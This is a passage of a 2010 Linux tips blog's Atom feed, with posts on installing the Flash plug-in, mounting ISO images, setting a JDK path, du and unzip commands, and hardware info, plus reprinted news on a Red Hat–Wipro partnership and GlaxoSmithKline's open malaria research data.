href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash&amp;amp;P2_Platform=Linux&amp;amp;P3_Browser_Version=Netscape4" target="_blank"&gt;download the correct file&lt;/a&gt; for your machine, install  the file, and then copy &lt;em&gt;libflashplayer.so&lt;/em&gt; to your &lt;em&gt;~/.mozilla/plugins&lt;/em&gt;  directory. Let’s stick with the rpm-type file.&lt;br /&gt;&lt;br /&gt;Download the &lt;em&gt;flash-plugin-XXX.i386.rpm&lt;/em&gt; file (Where &lt;em&gt;XXX &lt;/em&gt;is  the release number) and then issue (as root) the command &lt;em&gt;rpm -ivh  flash-plugin-XXX.rpm &lt;/em&gt;(again, where &lt;em&gt;XXX &lt;/em&gt;is the release  number) to install &lt;em&gt;flash-plugin.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;As before, you are going to have to locate the correct file in order  to copy it to the &lt;em&gt;plugins&lt;/em&gt; directory. Issue the command &lt;em&gt;locate  libflashplayer.so. &lt;/em&gt;You should see this in your results:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;/usr/lib/flash-plugin/libflashplayer.so&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;Change to the &lt;em&gt;~/.mozilla/plugins&lt;/em&gt; directory and run (as  root):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;cp /usr/lib/flash-plugin/libflashplayer.so /home/USERNAME/.mozilla/pugins (where USERNAME is the actual username).&lt;/pre&gt;&lt;br /&gt;Now, you need to change ownership of the file so it can be used by a  non-root user. Do this with the command (run as root from within the &lt;em&gt;/home/USERNAME/.mozilla/plugins&lt;/em&gt;  directory — where &lt;em&gt;USERNAME &lt;/em&gt;is the actual name of the standard  user):&lt;br /&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;chown USERNAME.USERNAME libflashplayer.so.&lt;/pre&gt;&lt;br /&gt;Restart Firefox and run the command &lt;em&gt;about:plugins&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-577962905807766604?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/577962905807766604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/installing-flash-plug-in-flash-plugin.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/577962905807766604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/577962905807766604'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/installing-flash-plug-in-flash-plugin.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6163660320011193881</id><published>2010-10-09T08:43:00.000-07:00</published><updated>2010-10-09T08:43:35.488-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;Red  Hat, Wipro form Strategic Partnership to deliver Open Source Solutions  across India&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;                                                                                                                                                                                                                                                                                                                                               &lt;/div&gt;&lt;div style="font-weight: bold; padding: 0px 0px 10px;"&gt;&lt;span id="Dglist_ctl02_Label3"&gt;Companies collaborate in building integrated  solutions on Red Hat technologies through joint investments in Wipro’s  Centre of Excellence&lt;/span&gt;&lt;/div&gt;&lt;b&gt;                                                                                                                   &lt;span id="Dglist_ctl02_Label1"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span id="Dglist_ctl02_Label2"&gt;Red Hat (NYSE: RHT), the world's leading  provider of open source solutions, and Wipro, a leading Indian IT  solutions and services provider, today announced that Wipro has become  the first Red Hat Premier Partner in India and the two companies have  strengthened their&amp;nbsp; strategic partnership&amp;nbsp; through joint marketing and  integration opportunities designed to bring open source solutions to  enterprises across the subcontinent.&lt;br /&gt;&lt;br /&gt;Both organisations plan to collaborate in building integrated  solutions on Red Hat technologies through joint investments in Wipro’s  Centre of Excellence in Bangalore. The objective is to build frameworks  and platforms which can be readily replicated and customised by  architects and developers to create solutions for industry verticals  including telecommunications, banking, financial services, insurance,  government, defence and utilities industries.&lt;br /&gt;&lt;br /&gt;“Wipro has been a Red Hat partner for more than five years and they  have developed substantial skill sets across open source technologies,”  said Nandu Pradhan, president &amp;amp; managing director, Red Hat India.&amp;nbsp;  “With this announcement, Wipro and Red Hat have formed a strategic  partnership that will enable Wipro to deliver open source solutions in  India.”&lt;br /&gt;&lt;br /&gt;The partnership gives customers in India the choice to evaluate,  select and use a complete open source solution stack backed by award  winning solution and support from Red Hat, with implementation, delivery  and support services from Wipro.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6163660320011193881?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6163660320011193881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/red-hat-wipro-form-strategic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6163660320011193881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6163660320011193881'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/red-hat-wipro-form-strategic.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-5683073709638001610</id><published>2010-10-08T11:37:00.000-07:00</published><updated>2010-10-08T11:37:38.579-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;MOUNTING AN ISO IMAGE WITHOUT A DVD DRIVE&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;Lets suppose you have aDVD image file of a distro and you want to extract a few files from it, but you either do not have a DVD to burn the image or you do not want to waste a blank DVD.&lt;br /&gt;&lt;br /&gt;Here's how you can mount an ISO image as a filesystem.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;First, make a directory that will be mount point for the ISO image:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# mkdir /iso0&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# mount -o loop -t iso9660 /FC@-i386-DVD.iso /iso0&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;or to mount automatically at boot( premamemt mounting), add the following to "/etc/fstab".&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/FC2-i386-DVD.iso /iso0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; iso9660&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rw,loop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 0&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-5683073709638001610?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/5683073709638001610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/mounting-iso-image-without-dvd-drive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5683073709638001610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5683073709638001610'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/mounting-iso-image-without-dvd-drive.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-4110880055457402863</id><published>2010-10-08T11:29:00.000-07:00</published><updated>2010-10-08T11:29:43.931-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;INSTALL &amp;amp; USE YOUR OWN JDK ON LINUX&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;We know that all distros give us JDK in the installation media. If you want to install your own JDK and use it,here is one trick that i hope will help you.&lt;br /&gt;Set the PATH environment variable.&lt;br /&gt;&lt;br /&gt;If your installed JDK is on the&lt;i&gt; /home/xyz/JDK&lt;/i&gt; directory and you want to enable it, follow the steps given below.&lt;br /&gt;&lt;br /&gt;Log in as the root user on the shell prompt and type the following command:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;export PATH=/home/xyz/JDK/bin:$PATH&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Put this command in the /etc/bashrc file and restart your terminal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-4110880055457402863?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/4110880055457402863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/install-use-your-own-jdk-on-linux-we.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4110880055457402863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4110880055457402863'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/install-use-your-own-jdk-on-linux-we.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-3001914995718977095</id><published>2010-10-06T11:19:00.000-07:00</published><updated>2010-10-06T11:19:32.275-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;FINDING THE SIZE OF A CURRENT FOLDER OR SUB-FOLDER&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;To find the size of a current folder, type the following code:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;&lt;b&gt;du -sh&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;To find the size of all sub-folders and files in the current folder, type in:&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;&lt;b&gt;du * -sh&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;here s stands for "summarise"&lt;br /&gt;h stands for "human readable format"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-3001914995718977095?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/3001914995718977095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/finding-size-of-current-folder-or-sub.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3001914995718977095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3001914995718977095'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/finding-size-of-current-folder-or-sub.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-2960787172275895514</id><published>2010-10-06T11:13:00.000-07:00</published><updated>2010-10-06T11:13:31.584-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;VIEW THE CONTENTS OF A FILE INSIDE A ZIP ARCHIVE&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;To view the contents of a ZIP archive without extracting it into the local file system, use the following command:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;&lt;b&gt;unzip -p&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;For Example, the command given below will print out the contents of a test.txt into the console.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;test.txt file is a file inside the test.zip archive.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;&lt;b&gt;unzip -p test.zip test.txt&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-2960787172275895514?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/2960787172275895514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/view-contents-of-file-inside-zip.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2960787172275895514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2960787172275895514'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/view-contents-of-file-inside-zip.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-7657268726620062670</id><published>2010-10-06T11:07:00.000-07:00</published><updated>2010-10-06T11:07:38.098-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;VIEW INFORMATION ABOUT THE MOTHERBOARD AND CPU&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;To view the information regarding your hardware, use the following command:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #cc0000;"&gt;&lt;b&gt;sudo dmicode | more&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;dmicode's&lt;/i&gt; purpose is to report "information regarding your system's hardware as described in your BIOS according to the MBIOS?DMI standard."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-7657268726620062670?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/7657268726620062670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/view-information-about-motherboard-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7657268726620062670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7657268726620062670'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/view-information-about-motherboard-and.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-4090756333870579939</id><published>2010-07-05T03:35:00.000-07:00</published><updated>2010-07-05T03:35:12.145-07:00</updated><title type='text'></title><content type='html'>&lt;h1 style="color: #cc0000; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;Glaxo Tries a Linux  Approach &lt;/span&gt;&lt;/h1&gt;&lt;h2 class="subhead" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Drug Maker Shares Its Research Data Online in  Test of Open-Source Principles&lt;/h2&gt;&lt;div class="articlePagination" id="article_pagination_top" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;   &lt;/div&gt;&lt;h3 class="byline" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;By &lt;a href="http://online.wsj.com/search/term.html?KEYWORDS=ROBERT+A.+GUTH&amp;amp;bylinesearch=true"&gt;ROBERT  A. GUTH&lt;/a&gt;                &lt;/h3&gt;&lt;a href="" name="KXY" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;A decade ago, the  Linux operating system helped spark a revolution in how software is  developed. A move by &lt;a class="companyRollover link11unvisited" href="http://online.wsj.com/public/quotes/main.html?type=djn&amp;amp;symbol=GSK"&gt;GlaxoSmithKline&lt;/a&gt; PLC could  test how well similar open-source principles work for developing new  drugs.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The pharmaceutical giant last week opened to the public the  designs behind 13,500 chemical compounds that it said may be capable of  inhibiting the parasite that causes malaria.&lt;/div&gt;&lt;a href="" name="KCUB" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Glaxo  and others hope that sharing information and working together will lead  scientists to come up with a drug for treating the mosquito-borne  disease faster than the company could on its own. Other researchers "may  look at these structures in quite a different way and see something  that we don't," said Nick Cammack, head of Glaxo's Medicines Development  Campus in Spain.&lt;/div&gt;&lt;div class="insetContent insetCol3wide embedType-image imageFormat-D" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;div class="insetTree"&gt;    &lt;div class="insettipUnit insetZoomTarget" id="articleThumbnail_1"&gt;&lt;div class="insetZoomTargetBox"&gt;&lt;div class="insettipBox"&gt;&lt;div class="insettip"&gt;&lt;a href=""&gt;View Full Image&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href=""&gt;&lt;img alt="WEBDRUGS" border="0" height="174" hspace="0" src="http://si.wsj.net/public/resources/images/MK-BD375_WEBDRU_D_20100525180215.jpg" vspace="0" width="262" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;cite&gt;GlaxoSmithKline&lt;/cite&gt;    &lt;div class="targetCaption"&gt;Two government websites and one private site will  host Glaxo's data. Above, containers used by Glaxo researchers to test  the effect that chemical compounds have on the malaria parasite.&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="insetFullBracket" id="articleImage_1" style="visibility: hidden;"&gt;&lt;div class="insetFullBox"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;a href="" name="KAJH" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The move is one  of the largest experiments yet by the pharmaceutical industry to apply  techniques of open-source development to drug discovery, based on the  idea that collaboration by volunteers will create products that aren't  owned by a single company.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;In software, the approach has spawned  the Linux operating system, MySQL database and an array of other  programs. Those community-born technologies now compete with products  from &lt;a class="companyRollover link11unvisited" href="http://online.wsj.com/public/quotes/main.html?type=djn&amp;amp;symbol=MSFT"&gt;Microsoft&lt;/a&gt; Corp., &lt;a class="companyRollover link11unvisited" href="http://online.wsj.com/public/quotes/main.html?type=djn&amp;amp;symbol=ORCL"&gt;Oracle&lt;/a&gt; Corp. and other  traditional, commercial software makers. Open-source developers share  programming instructions called source code that software companies  traditionally kept confidential.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Similarly, large pharmaceutical  companies tightly guard their formulas for drugs and other intellectual  property. Any given chemical compound holds the potential to be a  blockbuster drug—and a cash cow, like Microsoft's Windows software. But  diseases like malaria afflict mainly poor populations, and drugs to  treat them don't hold the promise for such a big payoff—making  experiments like Glaxo's less risky.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The Glaxo effort builds off  earlier open-source drug efforts that included a nonprofit organization  called Tropical Disease Initiative and a project started last year that  opens compounds from Pfizer Inc. to researchers at a nonprofit called  Drugs for Neglected Disease Initiative.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The Glaxo data will be  hosted by three websites, two of which are government-funded (one in the  U.S. and one in Europe). The third is a Silicon Valley company called  Collaborative Drug Discovery Inc. CDD, as it is called, was spun off in  2004 from drug maker Eli Lilly &amp;amp; Co. and has funding from the Bill  &amp;amp; Melinda Gates Foundation and Founders Fund, a venture-capital  firm.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;CDD's Web service combines elements of a Facebook-like  social network with an Oracle-style database. Any researcher who  registers on the CDD site will be able to see graphical depictions of  Glaxo's compounds and relevant chemical and biological data. The  database will allow them to upload their own data to be viewed by other  researchers.&lt;/div&gt;&lt;a href="" name="KD3D" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The service is free of charge. If a  researcher wants to combine the data with proprietary information, CDD  alsooffers a fee-based, secure version of its site that allows  researchers to lock up information they want to keep secret.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Developing  a new drug is a trial-and-error process of testing which chemical  compounds produce a certain effect on a biological target. In the case  of malaria, the target can be the Plasmodium parasite that causes the  deadly disease or human red-blood cells that it needs to survive. Over  the past year, Glaxo has tested two million compounds, culling the  13,500 molecules that it says have some effect. However, narrowing down  the compounds to a handful that might yield a drug is an increasingly  complex process.Any compound that proves promising in the current effort  will take years of testing and investment to turn it into a malaria  drug.&lt;/div&gt;&lt;a href="" name="KSLB" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Glaxo says that it won't seek patents on  any malaria drug that the compounds yield, and hopes other researchers  will also donate their intellectual property to a patent pool for  so-called neglected diseases like malaria. If the Glaxo compounds are  used to develop a drug for other types of diseases, then the company  "would consider" the intellectual-property issues, a Glaxo spokeswoman  said.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Researchers including James McKerrow, a professor at the  University of California, San Francisco, have used CDD since 2007 to  share data about diseases including malaria and schistosomiasis, a  parasite that can cause liver and kidney damage. The group shared data  on tens of thousands of compounds to  speed up the process of picking a  handful of compounds (for diseases such as malaria) that are the best  options to try on animals, Dr. McKerrow said.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;    Barry Bunin,  CDD's chief executive, believes that the work on neglected diseases is a  precursor for big pharmaceutical companies to eventually use the  open-source techniques for developing commercial drugs.&lt;/div&gt;&lt;a href="" name="KJXH" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Some drug experts doubt that will happen. The reasons  include the nettlesome problem of managing intellectual property and  various uncertainties. Any given compound, for example, could wind up  affecting more diseases than expected and turn out to be more valuable  than expected. Glaxo, for instance, found that drugs that inhibited  growth of the parasite that causes malaria were of a type that is also  marketed to treat cancer.&lt;/div&gt;&lt;a href="" name="K5HC" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/a&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;"I think that's a  potentially interesting model but I don't think for-profit institutions  would participate," says Brendan O'Leary, general partner at Prism  Venture Management, a venture-capital firm that invests in life-sciences  companies.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Yet Glaxo'sMr. Cammack doesn't rule it out. He hopes  the open-source work will influence Glaxo more broadly in the future,  particularly given the challenges big pharmaceuticalcompanies face in  launching new drugs. "The pharmaceutical industry needs to look at lots  of ways of doing business in the future," he said.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-4090756333870579939?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/4090756333870579939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/07/glaxo-tries-linux-approach-drug-maker.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4090756333870579939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4090756333870579939'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/07/glaxo-tries-linux-approach-drug-maker.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6126857082459393164</id><published>2010-07-02T00:32:00.000-07:00</published><updated>2010-07-02T00:32:27.971-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;RUN X APPLICATIONS FROM A TERMINAL WINDOW&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;1. Open a terminal window from your desktop.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;2. Type &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New 